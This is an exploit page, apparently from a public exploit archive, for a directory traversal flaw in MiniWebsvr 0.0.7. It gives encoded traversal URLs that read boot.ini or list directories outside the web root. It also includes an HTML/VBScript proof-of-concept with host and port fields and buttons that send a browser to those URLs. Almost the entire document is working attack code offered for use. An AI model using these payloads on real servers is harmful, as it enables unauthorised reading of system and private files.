MiniWebsvr 0.0.7 Remote Directory Transversal Exploit

                                                <pre>
<code><span&nbsp;style=\"font:&nbsp;10pt&nbsp;Courier&nbsp;New;\"><span&nbsp;class=\"general1-symbol\">-------------------------------------------------------------
<b>MiniWebsvr&nbsp;0.0.7&nbsp;Directory&nbsp;transversal&nbsp;vulnerability</b>
url:&nbsp;http://miniwebsvr.sourceforge.net/
author:&nbsp;shinnai
mail:&nbsp;shinnai[at]autistici[dot]org
site:&nbsp;http://shinnai.altervista.org

http://localhost/%5C..%5C..%5C..%5C..%5C..%5C../boot.ini&nbsp;or
http://localhost/%5C..%5C..%5C..%5C..%5C..%5C../
-------------------------------------------------------------

Host			Port
<input&nbsp;type=text&nbsp;name=txtIP&nbsp;value&nbsp;=&nbsp;\"localhost\">	<input&nbsp;type=text&nbsp;name=txtPort&nbsp;value&nbsp;=&nbsp;\"8080\">

<input&nbsp;language=VBScript&nbsp;onclick=GetBoot()&nbsp;type=button&nbsp;value=\"Click&nbsp;to&nbsp;get&nbsp;boot.ini\">

<input&nbsp;language=VBScript&nbsp;onclick=BrowseMe()&nbsp;type=button&nbsp;value=\"Click&nbsp;to&nbsp;browse\">

<script&nbsp;language=\'vbscript\'>
Sub&nbsp;GetBoot
&nbsp;&nbsp;on&nbsp;error&nbsp;resume&nbsp;next
&nbsp;&nbsp;document.location&nbsp;=&nbsp;\"http://\"&nbsp;+&nbsp;txtIP.value&nbsp;+&nbsp;\":\"&nbsp;+&nbsp;txtPort.value&nbsp;+&nbsp;\"/%5C..%5C..%5C..%5C..%5C..%5C../boot.ini\"
end&nbsp;sub

Sub&nbsp;BrowseMe
&nbsp;&nbsp;on&nbsp;error&nbsp;resume&nbsp;next
&nbsp;&nbsp;document.location&nbsp;=&nbsp;\"http://\"&nbsp;+&nbsp;txtIP.value&nbsp;+&nbsp;\":\"&nbsp;+&nbsp;txtPort.value&nbsp;+&nbsp;\"/%5C..%5C..%5C..%5C..%5C..%5C../\"
end&nbsp;sub
</script>
</span></span>
</code></pre>

&nbsp;